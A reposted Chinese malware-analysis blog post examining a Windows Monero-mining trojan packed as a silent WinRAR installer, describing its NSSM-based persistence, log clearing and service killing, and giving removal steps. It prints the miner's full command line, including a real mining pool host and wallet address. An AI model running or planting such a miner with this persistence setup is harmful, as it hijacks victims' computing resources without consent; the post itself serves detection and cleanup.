转载自MS016小组Windows下的挖矿木马查杀

今天讲分析一个挖矿木马了解ta的原理 和查杀方式  讲的是Windows挖矿木马 也是 门罗币 对比其ta挖矿木马 也许替换挖矿程序 就可以了 所以基本其ta挖矿

基本都相同 先看挖矿木马吧

转载自MS016小组Windows下的挖矿木马查杀-1

 

其实看图标就像一个解压包 就是winrar 下的 弄成静默安装 我们用winrar 打开看看

转载自MS016小组Windows下的挖矿木马查杀-2

 

右边的信息 代表 静默包完成什么操作

Path 运行静默包 会把里面的程序释放到 path 信息上的路径

路径 C:\Windows\daozai

Setup 运行 path路径 里面的程序

运行路径下的 run.bat 处理文件C:\Windows\daozai\run.bat

 

后面基本都是设置成不需要提示直接运行静默包

然后解压文件分析这几个文件做什么的

转载自MS016小组Windows下的挖矿木马查杀-3

Run.bat 是启动批处理

Run64.bat 运行钱包程序的 批处理

Svchost.exe 是NSSM一款守护进程的软件

Win1ogin.exe 是挖矿程序

 

了解这些文件的区别就逐个分析

先看看run.bat批处理

转载自MS016小组Windows下的挖矿木马查杀-4

前面是调用NSSM软件守护挖矿程序

然后启动钱包批处理

NSSM 开始守护

清除系统日志 关闭一些服务 在清理进程

里面有些进程可能 是别的挖矿大牛常用的 是为了 方便清理别人的进程

在看Run64.exe批处理

 

win1ogin.exe -a cryptonight -o stratum+tcp://mine.ppxxmr.com:5555 -u 42ptfGAPK5maAQELBhwiii2wbAvooRCZXCKr66rkgaDkCkRxz6oKFNv3Xg8Cdk8KiA5HNcJoey58WH9D5teiSQaF5cCgjbo+update -p 123

 

矿池 mine.ppxxmr.com

钱包42ptfGAPK5maAQELBhwiii2wbAvooRCZXCKr66rkgaDkCkRxz6oKFNv3Xg8Cdk8KiA5HNcJoey58WH9D5teiSQaF5cCgjbo

-p 123 参数 cpu 应该是跑3个核心

然后开始调用挖矿程序

转载自MS016小组Windows下的挖矿木马查杀-5

讲完挖矿静默包的运行流程

如果种了挖矿程序怎么查杀

我点击运行Update.exe 静默包

点击运行这个静默包 本身会自身删除的 所以基本不会保留

转载自MS016小组Windows下的挖矿木马查杀-6

运行完挖矿静默包 计算机的任务管理器不见了

转载自MS016小组Windows下的挖矿木马查杀-7

Cmd命令 打开任务管理器打不开

友情提示: 有些挖矿 会欺骗用户  比如电脑运行缓慢 打开任务管理器

任务管理器上的cpu显示正常 关闭任务管理器 电脑又卡了

所以还是用第三方的一些管理工具查看比较好

转载自MS016小组Windows下的挖矿木马查杀-8

cpu 百分之百了

转载自MS016小组Windows下的挖矿木马查杀-9

挖矿程序占用最高 权限是system system是看不到的 不再administrator同一桌面

转载自MS016小组Windows下的挖矿木马查杀-10

NSSM是守护进程 先把守护进程结束掉在结束掉挖矿程序

NSSM会自启动挖矿程序

转载自MS016小组Windows下的挖矿木马查杀-11

NSSM会把挖矿程序写入自启动 服务里面 所以必须把这个服务停用或卸载掉

NSSM里面有卸载命令

转载自MS016小组Windows下的挖矿木马查杀-12

1
nssm remove <servicename> confirm

 

卸载命令

就删除了服务

最后清理目录下的挖矿程序

转载自MS016小组Windows下的挖矿木马查杀-13

 

黑客利用NSSM这个软件 也是方便免杀 因为这种软件 一般都不会被添加到病毒库里面

友情提示:

国外的安全厂商为了 封杀算力 大的挖矿僵尸网络 会联系矿池 管理员要求 停止支付黑客钱包 来打击黑客

 

@感谢刀仔提供技术支持

原文https://www.cnblogs.com/ms016/p/8404101.html

发表评论